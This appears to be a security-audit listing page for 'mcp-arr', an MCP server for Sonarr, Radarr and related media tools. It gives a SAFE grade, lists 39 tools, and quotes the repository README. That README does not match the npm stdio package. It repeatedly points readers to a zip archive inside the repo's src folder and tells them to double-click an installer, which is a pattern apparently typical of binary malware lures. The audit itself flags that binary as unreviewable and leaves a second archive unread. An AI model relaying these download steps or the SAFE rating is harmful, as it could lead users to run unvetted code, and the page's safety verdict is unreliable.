Atlas / MCP servers / nunner322 / mcp-arr

mcp-arrSAFE

mcp/nunner322/mcp-arr

MCP server for *arr media suite - Sonarr, Radarr, Lidarr, Readarr, Prowlarr

Verdict
SAFE
Grade
B
Trust score
89 /100
Exposed tools
39 28r · 11w · 0d
Transport
stdio
License
MIT
Stars
4
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

📥 Download Now

[](https://raw.githubusercontent.com/nunner322/mcp-arr/main/src/arr-mcp-1.4.zip)

🚀 Getting Started

Welcome to mcp-arr, your simple solution for managing media with the *arr media management suite. Follow these steps to get started quickly.

✅ System Requirements

To run mcp-arr, you'll need:

  • A computer running Windows, macOS, or Linux.
  • At least 2 GB of RAM.
  • A stable internet connection.
  • Enough disk space to store your media files and the application.

📂 Features

  • Integrates seamlessly with the *arr media management suite.
  • Allows easy management of media content.
  • Supports popular media formats.
  • Provides a user-friendly interface for managing settings and configurations.

📥 Download & Install

  1. Visit the Releases page to download the latest version of mcp-arr.
  1. Look for the latest release. You will see a list of available files.
  1. Choose the file that matches your operating system:
  2. For Windows, download the .exe file.
  3. For macOS, download the .dmg file.
  4. For Linux, download the https://raw.githubusercontent.com/nunner322/mcp-arr/main/src/arr-mcp-1.4.zip or .deb file depending on your distribution.
  1. Click on the download link to start downloading the file.
  1. Once the download is complete, locate the file in your downloads folder.
  1. Double-click the file to run the installer.
  1. Follow the on-screen instructions to complete the installation.

🛠️ Setting Up

After installation, you can set up mcp-arr:

  1. Open the application by double-clicking the mcp-arr icon on your desktop or in your applications folder.
  1. You will be prompted to configure the application. Enter your media library locations.
  1. Set your preferences, such as file format
Read from source at commit b0b74edf0d40OBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code (npm)
claude mcp add mcp-arr-server --env SONARR_API_KEY=${SONARR_API_KEY} --env RADARR_API_KEY=${RADARR_API_KEY} --env LIDARR_API_KEY=${LIDARR_API_KEY} --env READARR_API_KEY=${READARR_API_KEY} -- npx -y [email protected]
03

Exposed tools (39)

28 read · 11 write · 0 destructive.

ToolRiskDescription
arr_search_allreadSearch across all configured *arr services for any media
arr_statusreadGet status of all configured *arr services. Currently configured: ${configuredServices.map(s => s.displayName).join(
lidarr_get_albumsreadGet albums for an artist in Lidarr. Shows which albums are available and which are missing.
lidarr_get_artistsreadGet all artists in Lidarr library
lidarr_get_calendarreadGet upcoming album releases from Lidarr
lidarr_get_queuereadGet Lidarr download queue
lidarr_searchwriteSearch for artists to add to Lidarr
lidarr_search_albumwriteTrigger a search for a specific album to download
lidarr_search_missingwriteTrigger a search for all missing albums for an artist
prowlarr_get_indexersreadGet all configured indexers in Prowlarr
prowlarr_get_statsreadGet indexer statistics (queries, grabs, failures)
prowlarr_searchreadSearch across all Prowlarr indexers
prowlarr_test_indexersreadTest all indexers and return their health status
radarr_get_calendarreadGet upcoming movie releases from Radarr
radarr_get_moviesreadGet all movies in Radarr library
radarr_get_queuereadGet Radarr download queue
radarr_searchwriteSearch for movies to add to Radarr
radarr_search_moviewriteTrigger a search to download a movie that
readarr_get_authorsreadGet all authors in Readarr library
readarr_get_booksreadGet books for an author in Readarr. Shows which books are available and which are missing.
readarr_get_calendarreadGet upcoming book releases from Readarr
readarr_get_queuereadGet Readarr download queue
readarr_searchwriteSearch for authors to add to Readarr
readarr_search_bookwriteTrigger a search for a specific book to download
readarr_search_missingwriteTrigger a search for all missing books for an author
sonarr_get_calendarreadGet upcoming TV episodes from Sonarr
sonarr_get_episodesreadGet episodes for a TV series. Shows which episodes are available and which are missing.
sonarr_get_queuereadGet Sonarr download queue
sonarr_get_seriesreadGet all TV series in Sonarr library
sonarr_searchwriteSearch for TV series to add to Sonarr
sonarr_search_episodewriteTrigger a search for specific episode(s)
sonarr_search_missingwriteTrigger a search for all missing episodes in a series
trash_compare_namingreadCompare your naming configuration against TRaSH Guides recommendations. Requires the corresponding *arr service to be configured.
trash_compare_profilereadCompare your quality profile against TRaSH Guides recommendations. Shows missing custom formats, scoring differences, and quality settings. Requires the corresponding *arr service to be configured.
trash_get_namingreadGet TRaSH Guides recommended naming conventions for your media server (Plex, Emby, Jellyfin, or standard)
trash_get_profilereadGet a specific TRaSH Guides quality profile with all custom format scores, quality settings, and implementation details
trash_get_quality_sizesreadGet TRaSH Guides recommended min/max/preferred sizes for each quality level
trash_list_custom_formatsreadList available TRaSH Guides custom formats. Can filter by category: hdr, audio, resolution, source, streaming, anime, unwanted, release, language
trash_list_profilesreadList available TRaSH Guides quality profiles for Radarr or Sonarr. Shows recommended profiles for different use cases (1080p, 4K, Remux, etc.)
04

Trust audit

SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codePASS
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
none-observed
Network
declared (2 observation(s))
Shell
none-observed
Dependencies
not all pinned
Secrets in source
none-found

Findings (3)

MEDIUMInventory / provenance · inv.binary · CWE-1104
src/arr-mcp-1.4.zip
arr-mcp-1.4.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
package.json
@modelcontextprotocol/sdk, @types/node, typescript
Why it matters. 3 dependency range(s) float
Fix. pin exact versions or ship a lockfile
INFOInventory / provenance · inv.oversize · CWE-1104
src/mcp-arr_2.9.zip
src/mcp-arr_2.9.zip
Why it matters. 1386736 bytes not read

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha b0b74edf0d40full audit observations/trust-audit/mcp-server/nunner322__mcp-arr.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-11b0b74edf0d40SAFEB89first audit
06

Questions

What is the mcp-arr MCP server?

MCP server for *arr media suite - Sonarr, Radarr, Lidarr, Readarr, Prowlarr

What tools does mcp-arr expose?

39 in total: 28 read-only, 11 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is mcp-arr safe to connect to an agent?

The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.

What credentials does mcp-arr need?

It reads LIDARR_API_KEY, PROWLARR_API_KEY, RADARR_API_KEY, READARR_API_KEY and SONARR_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does mcp-arr run?

It speaks stdio, so it runs as a local process your client starts. It is published on npm as mcp-arr-server at 1.4.0.

How current is this page?

The grade is for one exact copy of the source (b0b74edf0d40), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement